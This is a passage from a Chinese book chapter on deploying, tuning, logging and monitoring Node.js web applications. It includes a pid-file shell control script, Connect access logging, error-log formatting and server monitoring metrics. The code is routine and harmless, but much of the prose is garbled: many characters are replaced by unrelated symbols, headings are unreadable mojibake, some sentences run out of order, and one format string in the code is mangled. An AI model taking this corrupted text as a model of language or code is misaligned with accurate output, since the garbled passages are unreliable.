之੝以要эܫ˃有的测试环境，是为了ଅᬓ૿௃关因ገ的ॕֽ。ͭ是对于一些ҩ能Ꮺ言，它的ᛠ

为是与Хͳ数૵相关的，测试环境中的数૵ᬶ在ሗዜ੊者大小上不能ܴ໗ᡛ测试ᭉය，ᤈᏪᭉ要

在一个ᮔ发࣊环境中测试。ᮔ发࣊环境与௾᤯的测试环境的ࢿѾ在于它的数૵ᣖ为接ᤂ线上ᄽ实

的数૵。 

我们࠱௾᤯测试环境ሥ为stage环境，ᮔ发࣊环境ሥ为pre-release环境，实ᬄ的生产环境ሥ为

product环境，ஞ个部Ꮇึ程ݟ图11-3੝ᇧ。 

 

图11-3 部Ꮅึ程图 

11.2.2� 䚼㕆᪡԰ 

就௾᤯的ᇧΒ̼ᆉᏪ言，我们᤯࣡ᄯ接在̽֐ᛠ中੯ᛠnode file.js以ը动应用。这对于开

发中的应用Ꮺ言，时࣡ڠ中றᤈ程֖ᮟጒ᧗ը并௃问题。ͭ是对᫁时ᫍ੯ᛠ的服务ᤈ程Ꮺ言，这

᧖ߚ在ˏ个问题ὙᯪЎ这会ӳͰ一个̽֐ᛠቓԯ，Ф次ᬣ着ቓԯ的ᤝѢ会࠭ᒰ੩开的ᤈ程一并ᤝ

Ѣ。为了能ᝧᤈ程૆续੯ᛠ，我们可能会用到nohup֖&以不ેறᤈ程的ழय੯ᛠὙ 

nohup node app.js & 

ը动ᤈ程很ࠓ௛，ͭ 是还有ˏ个ᭉයᭉ要ᏥᘼúúϢൢᤈ程֖᧗ըᤈ程。੣工管ူ的ழय会

௬३ཐဴ，为൤，我们ᭉ要一个脚本౎实ဗ应用的ը动、Ϣൢ֖᧗ըኍୱ作。要߸੆这样的ୱ作，

bash脚本是最ዴࢻԠ୰᫁൤ዜᭉය的。bash脚本的内ࠓ᤯过与Web应用以ጝ定的ழय౎实ဗ。这

᧖੝ឬ的ጝ定，Ф实就是要解决ᤈ程ID不ࠓ௛ಉ੼的问题。ݟ౦没有ጝ定，我们ᭉ要੼到应用对

应的ᤈ程，ཨ后ុ用kill̽֐఼൪ᤈ程。这᤯࣡要ុ用ps౎ಉ੼，相关̼ᆉݟ下Ὑ 

$ ps aux | grep node 

jacksontian     3618   0.0  0.0  2432768    592 s002  R+    3:00PM   0:00.00 grep node 

jacksontian     3614   0.0  0.4  3054400  32612 s000  S+    2:59PM   0:00.69 /usr/local/bin/node 

/Users/jacksontian/git/h5/app.js 

ཨ后в࠱对应的Nodeᤈ程఼૿Ὑkill 3614。 

这᧖੝៊的ጝ定是，˞ᤈ程在ը动时࠱ᤈ程ID写入到一个pid஠͇中，这个஠͇可以ߚஉ在

一个ጝ定的ᡸफ़下，ݟ应用的run/app.pid。下᭦是࠱pid写入到஠͇中的ᇧΒὙ 

var fs = require('fs'); 

var path = require('path'); 

 

var pidfile = path.join(__dirname, 'run/app.pid'); 

fs.writeFileSync(pidfile, process.pid); 
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脚本在Ϣൢ੊᧗ը应用时᤯过killፋᤈ程发ᤞSIGTERM信Ձ，Ꮺᤈ程收到ឞ信Ձ时Ѻᬓ

app.pid஠͇，Վ时ᤝѢᤈ程，相关̼ᆉݟ下Ὑ 

process.on('SIGTERM', function () { 

  if (fs.existsSync(pidfile)) { 

    fs.unlinkSync(pidfile); 

  } 

  process.exit(0); 

}); 

下᭦是一个߸ஞ的bash脚本，用于ଌ҃应用的ը动、Ϣൢ֖᧗ըኍୱ作Ὑ 

#!/bin/sh 

DIR=`pwd` 

NODE=`which node` 

# get action 

ACTION=$1 

 

# help 

usage() { 

  echo "Usage: ./appctl.sh {start|stop|restart}" 

  exit 1; 

} 

 

get_pid() { 

  if [ -f ./run/app.pid ]; then 

    echo `cat ./run/app.pid` 

  fi 

} 

 

# start app 

start() { 

  pid=`get_pid` 

 

  if [ ! -z $pid ]; then 

    echo 'server is already running' 

  else 

    $NODE $DIR/app.js 2>&1 & 

    echo 'server is running' 

  fi 

} 

 

# stop app 

stop() { 

  pid=`get_pid` 

  if [ -z $pid ]; then 

    echo 'server not running' 

  else 

    echo "server is stopping ..." 

    kill -15 $pid 

    echo "server stopped !" 

  fi 

} 
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restart() { 

  stop 

  sleep 0.5 

  echo ===== 

  start 

} 

 

case "$ACTION" in 

  start) 

    start 

  ;; 

  stop) 

    stop 

  ;; 

  restart) 

    restart 

  ;; 

  *) 

    usage 

  ;; 

esac 

在部Ꮇ的过程中，只要੯ᛠ这个bash脚本Ԁ可，௃ᮋ੣工管ူᤈ程Ὑ 

./appctl.sh start 

./appctl.sh stop 

./appctl.sh restart 

这个脚本的ನ心就是ډፈrun/app.pid౎ᤈᛠୱ作的。要ᖌԨᤈ程ID，只ᭉ要读Ԩឞ஠͇Ԁ可。 

11.3� ᗻ㛑 

Node产品的性能与᝴多因ገ相关，这᧖我们࠱ᔴ႘᎕ђ到Web应用中౎，只᝿ͤ一些࣡᜸的

ଡӣ性能的ழก。对于Web应用Ꮺ言，最ᄯ接有஌的ᖅ过于动᭡分ሎ、多ᤈ程౵ౝ、分࣊य，Ф

中๗Ԣ的几个ઞ分ԓѶݟ下੝ᇧ。 

� 做˃一的事。 

� ᝧ୰᫁的工Х做୰᫁的事情。 

 。ኤӐۋഴ࠱ �

 。᮲ᬖ分ሎ࠱ �

ᬓ൤之外，ᎀߚ也能ࣛ౎很大的性能ଡӣ。 

11.3.1�  ⾏ߚ䴭ࡼ

在௾᤯的Web应用中，Nodeࡉ管也能᤯过中͇ᫍ实ဗ᭡খ஠͇服务，ͭ 是Nodeူܪ᭡খ஠͇

的能Ҧ并不ኪ቉Ѣ。࠱图ྞ、脚本、样यᛪ֖多޴ͳኍ᭡খ஠͇都ल࠭到˃ˉ的᭡খ஠͇服务٧

上，ᝧNode只ူܪ动খ请යԀ可。这个过程可以用Nginx੊者˃ˉ的CDN౎ူܪ。图11-4为动᭡

分ሎ的ᇧ਒图。 
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图11-4 动᭡分ሎᇧ਒图 

˃，动খ请ය֖᭡খ请ය分ሎ后，服务٧可以˃ซ在动খ服务ழ᭦࠱ ˉ的CDN会࠱᭡খ஠͇

与用ਖ਼ࡉ可能᭤ᤂ，Վ时能ܴ有ఝዴᆷ֖高஌的ᎀߚ机҃。᭡খ஠͇请ය分ሎ后，对᭡খ请ය使

用不Վ的۪Տ੊多个۪Տ还能๖ᬓ૿不ॸ要的Cookie͛ᣤ֖เ᜾٧对下ᣑ线程数的ᬌ҃。 

᭡খ஠͇֖动খ请ය分ሎ只是最ኤӬ的分ሎ，也ᣖࠓ௛实ဗ。事实上还有ఝ复杂的情х，ඊ

ቿ˘到ߙ发ᤞ至客ਖ਼端时ᭉ要ᤈᛠࠓ内࠱在Node中，ࠓ在动খ数૵֖᭡খ内ߚ一个网页中Վ时ݟ

Buffer的ᣀ૰，ͭ是对于᭡খ内ࠓᏪ言௃ᮋᤈᛠߙቿ˘ࡎጞ的ఢ૰，只要γ႐੆BufferԀ可。ᄯ

接ᤈᛠBuffer͛ᣤ可以很大程ऎ上ଡӣ性能，这在ኃ6ብ中已໥ᇧ过。是஋能ܴ在动খ内ࠓ中в࠱

动খ内֖ࠓ᭡খ内ࠓ分ሎ，还能ᤈ一൥ଡӣ性能，ͭ这ሗ程ऎ上的ଌ҃也᝴没有௾᤟性，ᭉ要ᣖ

多ጹᓫူܪ。 

11.3.2� ਃ⫼㓧ᄬ 

ଡӣ性能Ф实ࢿ不多只有ˏ个᤬经，一是ଡӣ服务的ᤳऎ，̃是ᥗБ不ॸ要的᝟ኪ。前者ଡ

ӣ的性能在海量ึ量᭦前ጻ有ၪᮘ，ͭ 后者ԁ能ܴ在᝺问量ᡔ大时收ᄝᡔ多。ᥗБ不ॸ要的᝟ኪ，

应用场景最多的就是ᎀߚ。 

的ࣞү下，ԁ能ܴ๖ђՎ൥I/Oߚ管Վ൥I/O在CPUኍय़时ํ᠟的时ᫍᣖ为ː᧗，ͭ是在ᎀࡉ

ࣛ౎的时ᫍํ᠟。ͭ不管是Վ൥I/O还是ऩ൥I/O，ᥗБ不ॸ要的᝟ኪ这్ԓѶݟ౦ᥕ९३ᣖ好，

性能ଡӣ是௬ᗂ的。 

，大的ึ量ࢼ౦你的产品ᭉ要应对ݟ。今，Redis੊Memcached几˪是Web应用的ಕэᦠᎵݟ

ը用ᎀߚ并应用好它，是系统性能ၪᮘ的关᪃。 

11.3.3� ໮䖯⿟ᶊᵘ 

在ኃ9ብ中，我们已经សጹ̭ፀ了多ᤈ程౵ౝ。᤯过多ᤈ程౵ౝ，不仅可以Ќ分ѽ用多ನCPU，

ఝ是可以त立机҃ᝧNodeᤈ程ఝ加ϣܤ，以γᬩWeb应用૆续服务。由于Node是᤯过自有ഴڰౝ

तHTTP服务٧的，不像大多数服务٧端技术ᥦ样有˃有的Web٧ࠓ，੝以ᭉ要开发者自己ူܪ

多ᤈ程的管ူ。不过好在߽ழ已经有clusterഴڰ，在社区也有pm、forever、pm2这样的ഴڰ用于

ᤈ程管ူ，这᧖不вࡘ开Хͳጹᓫ。 
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11.3.4� 䇏ߚݭ⾏ 

ᬓ了动᭡分ሎ外，Բ一个ᣖ为᧗要的分ሎ是读写分ሎ，这˞要᧪对数૵ंᏪ言。就͉਒数૵

ंᏪ言，读Ԩ的ᤳऎᤉᤉ高于写入的ᤳऎ。Ꮺ౼些数૵ं在写入时为了γ᝼数૵一ᒰ性，会ᤈᛠ

ᩙᛪୱ作，这Վ时会ॕֽ到读Ԩ的ᤳऎ。౼些系统为了ଡӣ性能，᤯࣡会ᤈᛠ数૵ं的读写分ሎ，

 。数૵ंᤈᛠ˞从᝹᝟，这样读数૵ୱ作不вԩ到写入的ॕֽ，ᬋͯ了性能的ॕֽ࠱

൤外，还有Ф他᝴多ழ಴用以ଡӣ系统性能，以应对海量的请ය，这᧖不в一一ࡘ开。 

11.4� ᮹ᖫ 

在ᄽ实的ᮉ目中，开发只是ஞ个અ入的一小部分。应用੊系统ᄽൣ上线ᤁᣀ起౎时，问题有

可能会接ᢒᏪ౎。੝៊ఄ者ӡᘼ，ॸ有一႟。௃᝶多˥ֆࠚ的̼ᆉ编写，一些లᅻ问题঳是可能

在౼个不ᆷ定的时候Ѣဗ。这ሗ情х下，与Ф᥄᜸bugν复它，不ݟत立ϣК的ଅಉ֖ᡱᢍ机҃，

Ꮺ௅ং就是实ဗ这ሗ机҃的关᪃。在ϣК的系统中，߸ؒ的௅ং᝭े最能ܴ还ԓ问题ဗ场。᤯过

᝭े௅ং౎定ͮ问题是一ሗ੆本ᣖ小的ழय。这ሗ᭣ፆౝӐ、ᣏ量的᝭ेழयࠓ௛实ဗ，也ࠓ௛

 。ࡘੰ

11.4.1� 䆓䯂᮹ᖫ 

᝺问௅ং一ᓉ用౎᝭ेඇ个客ਖ਼端对应用的᝺问。在Web应用中，˞要᝭ेHTTP请ය中的

关᪃数૵。一ᓉ的Web服务٧都实ဗ了᝭े᝺问௅ং的ҩ能，只ᭉ要ኤӬ的ᦠᎵԀ可ը用。在用

Nginx੊Apacheᤈᛠ反Փ̼ူ时，可以ѽ用这些已有的᝹ஶ߸੆᝺问௅ং的᝭े。在Node开发的

Web应用中，也可以自ᛠ实ဗ᝺问௅ং的᝭े。 

中͇ᫍಳ౵Connect在Ф͔多中͇ᫍ中ଡΘ了一个௅ং中͇ᫍ，᤯过它可以࠱关᪃数૵૊一

定ಪयᣤѢ到௅ং஠͇中。下᭦是Connect的一ൿᇧΒ̼ᆉὙ 

var app = connect(); 

// ऻ录访问日志 

connect.logger.format('home', ':remote-addr :response-time - [:date] ":method :url 

HTTP/:http-version" :status :res[content-length] ":referrer" ":user-agent" :res[content-length]'); 

app.use(connect.logger({ 

  format: 'home', 

  stream: fs.createWriteStream(__dirname + '/logs/access.log') 

})); 

这᧖᝭े的数૵有remote-addr֖response-timeኍ，这些数૵已经ᡛܴ用౎ࣞү分ౡWeb应

用的用ਖ਼分࣊情х、服务٧端的ֽ应时ᫍ、ֽ应࿃খ֖客ਖ਼端ዜۋኍ。这些数૵࡚于ᤁᖸ数૵，

能反过౎ࣞүஇᤈ֖ଡӣ网ቢ。 

从上᭦的ᇧΒ̼ᆉ中可以ᄹѢ，数૵是以:token的्यᤈᛠಪयӐ的。ConnectଡΘ了token()

ழก用౎对应实ᬄ数૵，下᭦是:status的最ጻԨϘὙ 

exports.token('status', function(req, res){ 
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  return res.statusCode; 

}); 

Connect在最ጻֽ应前会࠱实ᬄ数૵ఢ૰૿token()，ཨ后写入到௅ং஠͇中。在实ᬄ的应用

场景中，可以Ꮅ入一些用ਖ਼信ো，用以ᡱᢍ一些数૵，ඊݟ౼个ᄅे用ਖ਼ܹ过ڠᬶࠚ᝺问౼个页

᭦ኍ，他有可能是一个机٧人，在ྒྷԨ网页中的数૵。಩૵௅ং分ౡ，३ѢФIP，可以实ဗ定ཁ

ધ绝服务。 

11.4.2� ᓖᐌ᮹ᖫ 

ऩ࣡௅ং᤯࣡用౎᝭ेᥦ些਒外产生的ऩ࣡ᩱឧ。᤯过௅ং的᝭े，开发者可以಩૵ऩ࣡信

োԜ定ͮbugѢဗ的ХͳͮᎵ，以ঋᤳν复问题。 

ऩ࣡௅ং᤯࣡有߸ؒ的分ጞ，Node中ଡΘ的console对៵就ኤӬڠ实ဗ了这几ሗѲ分，Хͳ

 。下੝ᇧݟ

� console.logǖ௾᤯௅ং。 

� console.infoǖ௾᤯信ো。 

� console.warnǖ᝜ն信ো。 

� console.errorǖᩱឧ信ো。 

consoleഴڰ在Хͳ实ဗ时，log与infoழก都࠱信োᣤѢፋಕэᣤѢprocess.stdout，warn

与errorழกѶ࠱信োᣤѢ到ಕэᩱឧprocess.stderr，Ꮺinfo֖error分Ѿ是log֖warn的ѾՏ。

下᭦为它们的实ဗ̼ᆉὙ 

Console.prototype.log = function() { 

  this._stdout.write(util.format.apply(this, arguments) + '\n'); 

}; 

 

Console.prototype.info = Console.prototype.log; 

 

Console.prototype.warn = function() { 

  this._stderr.write(util.format.apply(this, arguments) + '\n'); 

}; 

 

Console.prototype.error = Console.prototype.warn; 

console对៵上Х有一个Console࡚性，它是console对៵的ౝᤴѥ数。ύү这个ౝᤴѥ数，我

们可以实ဗ自己的௅ং对៵，相关̼ᆉݟ下Ὑ 

var info = fs.createWriteStream(logdir + '/info.log', {flags: 'a', mode: '0666'}); 

var error = fs.createWriteStream(logdir + '/error.log', {flags: 'a', mode: '0666'}); 

 

var logger = new console.Console(info, error); 

分Ѿុ用它的API，௅ং内ࠓ就能Չ自写入到对应的஠͇中，相关̼ᆉݟ下Ὑ 

logger.log('Hello world!'); 

logger.error('segment fault'); 
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有了᝭े信ো的௅ংAPI后，开发者ᭉ要关心的是要小心૬ᖌඇ一个ऩ࣡。在ኃ4ብ中，我们

ଡ到ऩ൥ុ用中ុٿѥ数᧖的ऩ࣡௃กᜁ外部૬ᖌ的问题，也ଡ到了ऩ൥API编写的᜺ᔴ，ඇ个

开发者应ॆ࠱API内部发生的ऩ࣡作为ኃ一个实ԟ͛ᤫፋុٿѥ数。对于ុٿѥ数中产生的ऩ࣡，

Ѷ可以不用过问，̓ፋКࡌ的uncaughtException事͇Ԝ૬ᖌԀ可。 

在ᤩࡎ次的ऩ൥APIុ用中，ऩ࣡是ឞ͛ᤫፋុ用ழ还是ឞ立Ԁ᤯过௅ং᝭े，这是一个ᭉ

要ซ਒的问题。就᤯࣡的API编写Ꮺ言，ࡉ量不要ᬤᘨᩱឧ，不要᤯过try/catch࠱ڰऩ࣡૬ᖌ，

ཨ后ᬤᘨ起౎不Փ外部ុ用者఑᭚。这对于ऄࡎAPI的᝹᝟Ꮺ言，࠾为᧗要。事实上，௅ং᤯࣡

是服务于ˉ务的。我的तᝫ是ऩ࣡ࡉ量由最上ࡎ的ុ用者૬ᖌ᝭े，ऄុࡎ用੊中ᫍុࡎ用中Ѣ

ဗ的ऩ࣡只要ൣ࣡͛ᤫፋ上ࡎ的ុ用ழԀ可。 

ऄࡎ੊中ᫍុࡎ用᤯࣡这样写Ὑ 

exports.find = function (id, callback) { 

  // 准ԢSQL 

  db.query(sql, function (err, rows) { 

    if (err) { 

      return callback(err); 

    } 

    // 处理结ࡕ 

    var data = rows.sort(); 

    callback(null, data); 

  }); 

}; 

 下੝ᇧὙݟ，ᄯ接ኤ写Ԁ可，ူܪʹ的ፆ౦不ᭉ要做͉ٿAPIᤄࡎAPI对下ࡎ౦上ݟ

exports.find = function (id, callback) { 

  // 准ԢSQL 

  db.query(sql, callback); 

}; 

ͭ是对于最上ࡎ的ˉ务，不能௃᜼下͛ࡎᤫ过౎的͉ʹऩ࣡，ᭉ要᝭ेऩ࣡，以Φ࠱౎ଅಉ

ᩱឧ，Վ时应ឞ对用ਖ਼ፋѢ友好的ଡᇧ，相关̼ᆉݟ下Ὑ 

exports.index = function (req, res) { 

  proxy.find(id, function (err, rows) { 

    if (err) { 

      logger.error(err); 

      res.writeHead(500); 

      res.end('Error'); 

      return; 

    } 

    res.writeHead(200); 

    res.end(rows); 

  }); 

}; 

౦௅ং只是᤯过以上ழयኤӬ᝭े，ᥦ˥它对ଅಉᩱឧ的ࣞү并不ܹ大，因为有些ྱ൳的ݟ

ऩ࣡ᭉ要ఝសጹ的数૵౎还ԓဗ场，੝以最好在᝭ेऩ࣡时有ᓡ好的的ಪय֖ఝសጹ的数૵。为

൤可以эܫ一个format()ழก౎࠯ᜈ֖ಪयӐऩ࣡信ো，ឞழก的̼ᆉݟ下੝ᇧὙ 
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var format = function (msg) { 

  var ret = ''; 

  if (!msg) { 

    return ret; 

  } 

 

  var date = moment(); 

  var time = date.format('YYYY-MM-DD HH:mm:ss.SSS'); 

  if (msg instanceof Error) { 

    var err = { 

      name: msg.name, 

      data: msg.data 

    }; 

 

    err.stack = msg.stack; 

    ret = util.format(' s s: s% % % \nHost: s% \nData: j% \n s% \n\n', 

      time, 

      err.name, 

      err.stack, 

      os.hostname(), 

      err.data, 

      time 

    ); 

    console.log(ret); 

  } else { 

    ret = time + ' ' + util.format.apply(util, arguments) + '\n'; 

  } 

  return ret; 

}; 

为൤，我们在ऩ࣡Ѣဗ时可以ុ࠱用时的数૵͛ᤫፋಪयӐழก，ཨ后᝭े下௅ং，ᇧΒ̼

ᆉݟ下Ὑ 

var input = '{error: format}'; 

try { 

  JSON.parse(input); 

} catch (ex) { 

  ex.data = input; 

  logger.error(format(ex)); 

} 

这样在௅ং஠͇中就可以សጹڠ૬૥到ऩ࣡发生时的ᣤ入数૵，ཨ后定ͮbug֖解决问题就

是ප到ຘ੆的事了。ݟ下为ऩ࣡௅ংᇧΒὙ 

2013-06-12 17:18:19.776 SyntaxError: SyntaxError: Unexpected token e 

    at Object.parse (native) 

    at Object.<anonymous> (/Users/jacksontian/git/diveintonode/examples/12/logger.js:53:8) 

    at Module._compile (module.js:456:26) 

    at Object.Module._extensions..js (module.js:474:10) 

    at Module.load (module.js:356:32) 

    at Function.Module._load (module.js:312:12) 

    at Function.Module.runMain (module.js:497:10) 

    at startup (node.js:119:16) 

    at node.js:901:3 
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Host: Jackson.local 

Data: "{error: format}" 

2013-06-12 17:18:19.776 

对于ల૬ᖌ的ऩ࣡，NodeଡΘ了机҃以Бᤈ程ᄯ接ᤝѢ，ͭ 是发生ల૬ᖌऩ࣡的ᤈ程也不能

继续在线上ᤈᛠ服务了，因为可能有内ߚ෹໣的᮲ᬖ产生。ݟʹ优ᬵڠᤝѢ֖᧗ըᤈ程在ኃ9ብ

中已សጹଠᤗ过，ᥦ一ብ中的ᇧΒ多是用console.log()౎᝭े问题的，ͭ在实ᬄ的产品中，ᭉ

要ːಪ的௅ং᝭े。᝭े过程Վ上，不вសᤗ。 

11.4.3� ᮹ᖫϢ᭄᥂ᑧ 

有的开发者对௅ং可能不ܹ了解，会ᤤસ࠱一些௅ং写入到数૵ं中。数૵ंඊ௅ং஠͇好

的ڠழ在于它是ፆౝӐ数૵，可以ᄯ接编写SQL语Աᤈᛠ分ౡ，௅ং஠͇Ѷᭉ要в加工之后才能

分ౡ。 

ͭ是௅ং஠͇与数૵ं写入在性能上ܪ于ˏ个ጞѾ，数૵ं在写入过程中要经Ԋ一系Ѵܪ

ူ，ඊᩙݟᛪ、௅ংኍୱ作。写௅ং஠͇Ѷ是ᄯ接࠱数૵写到ᇒᄧ上。为൤，ݟ౦有大量的᝺问，

可能会ߚ在写入ୱ作大量ଅ᫲的࿃х，数૵ं的๖᠟ᤳऎː᧗ͯ于生产ᤳऎ，ᤈᏪ࠭ᒰ内ߚ෹໣

ኍ。相ඊ之下，写௅ং是ᣏ量的ழก，࠱௅ং分ౡ֖௅ং᝭े这ˏ个൥ᰠ分ሎ开౎是ᣖ好的ᤤસ。

௅ং᝭े可以在线写，௅ং分ౡѶ可以ύү一些工ХՎ൥到数૵ं中，᤯过ሎ线分ౡ的ழय反ᯟ

Ѣ౎。 

11.4.4�  ᮹ᖫࡆߚ

线上ˉ务可能᝺问量ࢼ大，产生的௅ং也可能是大量的，上ᤗᇧΒ只是ኤӬ࠱ڠ௾᤯௅ং֖

ऩ࣡௅ং分开உ在ˏ个஠͇中，௅ং过多时也不Φᄯ接ಉᄹ。为൤，࠱产生的௅ং૊௅య分Ҟ是

一个不ᩱ的˞਒。௅ং的写入一ᓉ都是Ι托在可写ึ上的。对于Console对៵，它的内部࡚性

_stdout֖_stderr就是ૈՓ我们͛入的ˏ个ᣤ入ึ对៵的。在᝹᝟的过程中，我们可以૊௅య͛

ᤫ对应的௅ং஠͇可写ึ对៵，为൤可以᝹᝟一个定时٧用于ॆ௅య发生ఝஇ时，ఝஇ௅ং对៵

的ˏ个ᣤ入ึ对៵Ԁ可。这᧖࠱不ࡘ开ଠᤗХͳ实ဗ。 

11.4.5� ᇣ㒧 

૬૥௅ং相对Ꮺ言是ᣖ为ཐဴ的事情，ͭ 是一ெౝत好这个۲ᆨ过程，有问题产生时Ѷ可以

ঋᤳ解决。很多开发者在开发过程中߸К不（੊没౎३Ԣ）Ꮵᘼ௅ং，到线上产生问题时Ѷ会੣

঄脚˼。ᓡ好的௅ং可以为系统的᫁యᤁᛠγᰁએᓇ，Ѣဗ͉ʹ问题时，我们都能做到心中有数。 

11.5� ⲥ᥻᡹䄺 

部Ꮇ好ึ程，᝭े好௅ং之后，应用就ͪ˪可以自ᛠᤁᣀ了。实ᬄ上，这时候的应用ݟՎ初

生的ޮЇ，ѷѷ学会了走ᡸ，ݟ౦உ͉不管，就ݟՎ࠱它உ到大ᛣ上的人ึ中。就像ల᫁大的ߦ
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౦୐χ，ᭉݟ，ߔߦᭉ要有一个人ཱᄹ一ᓉ，应用也应ॆ有一个ᄢଌ系统。对于走到大ᛣ上的ߔ

要Ԣ时࠱Ф੹起౎。ݟ౦应用Ѣဗ了ࢿᩱ，也ᭉ要᤯过ᄢଌԢ时发ဗ，ཨ后ু复它ൣ࣡ᤁᛠ。 

应用的ᄢଌ˞要有ˏዜ，一ሗ是ˉ务᤾ᣣۋ的ᄢଌ，一ሗ是ᆵ͇ۋ的ᄢଌ。ᄢଌ˞要᤯过定

时᧓样౎ᤈᛠ᝭े。ᬓ൤之外，还要对ᄢଌ的信ো᝹Ꮅ上ᬌ，一ெѢဗ大的จ动，就ᭉ要发Ѣ᝜

ઐଡᧇ开发者。为了ᣖ好ڠΘ开发者使用，ᄢଌ到的信ো一ᓉ还要᤯过数૵可᜼Ӑ的ழय反௡Ѣ

౎，以Φఝᄯ᜹ڠಉᄹ。 

11.5.1� ⲥ᥻ 

ᄢଌ的˞要目的是为了࠱一些᧗要ૈಕ᧓样᝭े下౎，一ெ这些ૈಕ发生ᣖ大ԪӐ，可以ᦠ

Ջઐ᝜系统࠱问题反ᯟ到᠆᠉人ᥦ。ᄢଌ的ཁ可以很ጹᒰ，也可以只ᤤ˞要的ૈಕ。 

1. ᮹ᖫⲥ᥻ 
ˉ务᤾ᣣۋ的ᄢଌ˞要ͳဗ在௅ং上，做ᡛ了௅ং᝭े的ҩܺ之后，࠱ʹݟ௅ং应用起౎是

个问题。᤯过ᄢଌऩ࣡௅ং஠͇的Ԫ动，࠱新ܘ的ऩ࣡૊ऩ࣡ዜ֖ۋ数量反௡Ѣ౎。౼些ऩ࣡与

Хͳ的౼个ߔ系统相关，ᄢଌѢဗ的౼个ऩ࣡多Ӧ能反௡Ѣߔ系统的࿃খ。 

ᬓ了ऩ࣡௅ং的ᄢଌ外，对于᝺问௅ং的ᄢଌ也能ͳဗѢ实ᬄ的ˉ务QPSϘ。᜹ࠢQPS的ᛪ

ဗ能ܴ೜ಉˉ务在时ᫍ上的分࣊。 

൤外，从᝺问௅ং中也能实ဗPV֖UV的ᄢଌ。ՎQPSϘ一样，᤯过对PV/UV的ᄢଌ，可以

很好ڠᅻ᥊应用的使用者们的习਄、ᮔᅻ᝺问高ࢎኍ。 

2. ડᑨᯊ䯈 
ֽ应时ᫍ也是一个ᭉ要ᄢଌ的ཁ。一ெ系统的౼个ߔ系统Ѣဗऩ࣡੊者性能ၪᮘ，࠱会࠭ᒰ

系统的ֽ应时ᫍԪ᫁。ֽ应时ᫍ可以在Nginx一ዜ的反Փ̼ူ上ᄢଌ，也可以᤯过应用自ᛠ产生

的᝺问௅ং౎ᄢଌ。ϣऔ的系统ֽ应时ᫍ应ឞ是จ动ᣖ小的、૆续ڨᛥ的。 

3. 䖯⿟ⲥ᥻ 
ᄢଌ௅ংֽ֖应时ᫍ都能ᣖ好ڠᄢଌ到系统的࿃খ，ͭ是它们的前ଡ是系统是ᤁᛠ࿃খ的，

੝以ᄢଌᤈ程是ඊ前ˏ者ఝ为ጊ要的͉务。ᄢଌᤈ程一ᓉ是೜ಉୱ作系统中ᤁᛠ的应用ᤈ程数，

ඊݟ对于᧓用多ᤈ程౵ౝ的Web应用，就ᭉ要೜ಉ工作ᤈ程的数量，ݟ౦ͯ于ᮔͤϘ，就应ॆ发

Ѣઐ᝜ܥ。 

4. ⺕Ⲭⲥ᥻ 
ᇒᄧᄢଌ˞要是ᄢଌᇒᄧ的用量。由于௅ংᮟጒ写的ᎅ஋，ᇒᄧቆᫍຑຑᜁ用Џ。一ெᇒᄧ

不ܴ用，࠱会ल发系统的Չሗ问题。ፋᇒᄧ的使用量᝹Ꮅ一个上ᬌ，一ெᇒᄧ用量ᡓ过᝜ੈϘ，

服务٧的管ူ者就应ឞஞူ௅ং੊ຌူᇒᄧ了。 

 ᄬⲥ᥻ݙ .5
对于NodeᏪ言，一ெѢဗ内ߚ෹໣，不是ᥦ˥ࠓ௛ଅಉ的。ᄢଌ服务٧的内ߚ使用࿃х，可

以೜ಉ应用中是否ߚ在内ߚ෹໣的࿃х。ݟ౦内ߚ只ӣ不ᬋ，ᥦ˥ᨠ定ߚ在内ߚ෹໣问题。ϣऔ

的内ߚ使用应ॆ是有ӣ有ᬋ，在᝺问量大的时候上ӣ，在᝺问量ٿᖿ的时候，ӳ用量也ᬣ之ٿᖿ。 
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෹໣，Ԡ一时没有ଅಉ解决，有一ሗழ಴可以解决这ሗ࿃х。这ሗழ಴ߚ在内ߚ౦ᤈ程中ݟ

应用于多ᤈ程౵ౝ的服务ᬶᏅ，ᝧඇ个工作ᤈ程ૈ定服务多࠵次请ය，᣹到请ය数之后ᤈ程就不

в服务新的ᤋ接，˞ᤈ程ը动新的工作ᤈ程౎服务客ਖ਼，ே的ᤈ程ኍ੝有ᤋ接ற开后就ᤝѢ。这

样Ԁ使ߚ在内ߚ෹໣的᮲ᬖ，也能有஌ڠ᜺ᥗ内ߚ෹໣ࣛ౎的ॕֽ。ͭ这࡚于᜺ᥗ问题，只解决

了问题的ᛪ៵，不推荐使用。 

঳Ꮺ言之，ᄢଌ内ߚ并᫁时ᫍ᜹ࠢ是᫸ൢ系统Ѣဗऩ࣡的好ழก。ݟ౦቉ཨѢဗ内ߚऩ࣡，

也能ܴᤜᢍ到是ᤂయ的ג些̼ᆉஇ动࠭ᒰ的问题。 

6. CPUऴ⫼ⲥ᥻ 
服务٧的CPUӳ用ᄢଌ也是ॸ不可࠵的ᮉ，CPU的使用分为用ਖ਼খ、内ನখ、IOWaitኍ。ݟ

౦用ਖ਼খCPU使用ညᣖ高，ឬ௙服务٧上的应用ᭉ要大量的CPU开ᩘ὚ݟ౦内ನখCPU使用ညᣖ

高，ឬ௙服务٧ᔈ᠟大量时ᫍᤈᛠᤈ程ុऎ੊者系统ុ用὚IOWait使用ညѶ反应的是CPUኍय़ᇒ

ᄧI/Oୱ作。 

CPU的使用ည中，用ਖ਼খ小于70%、内ನখ小于35%且ஞͳ小于70%时，ܪ于ϣऔ࿃খ。ᄢଌ

CPUӳ用情х，可以ࣞү分ౡ应用程序在实ᬄˉ务中的࿃х。Ջူ᝹Ꮅᄢଌ᫟Ϙ能ܴ很好ڠᮔ᝜。 

7. CPU loadⲥ᥻ 
CPU loadԠሥCPUࣰڨ᠆ᣑ，它用౎ଠᤗୱ作系统ॆ前的ጒ঄程ऎ，可以ኤӬူڠ解为CPU

在Ӭͮ时ᫍ内ൣ在使用֖ኍय़使用CPU的ࣰ͉ڨ务数。它有3个ૈಕ，Ԁ1分᧾的ࣰڨ᠆ᣑ、5分

᧾的ࣰڨ᠆ᣑ、15分᧾的ࣰڨ᠆ᣑ。CPU load过高ឬ௙ᤈ程数量过多，这在Node中可能ͳဗ在用

 。反复ը动新的ᤈ程。ᄢଌឞϘ可以᫸ൢ਒外产生ڰᤈ程ഴߔ

8. I/O䋳䕑 
I/O᠆ᣑૈ的˞要是ᇒᄧI/O。反应的是ᇒᄧ上的读写情х，对于Node编写的应用，˞要是᭦

Փ网ፎ服务，是஋不ܹ可能ѢဗI/O᠆ᣑ过高的情х，大多数的I/OԌҦ౎自于数૵ं。不管Node

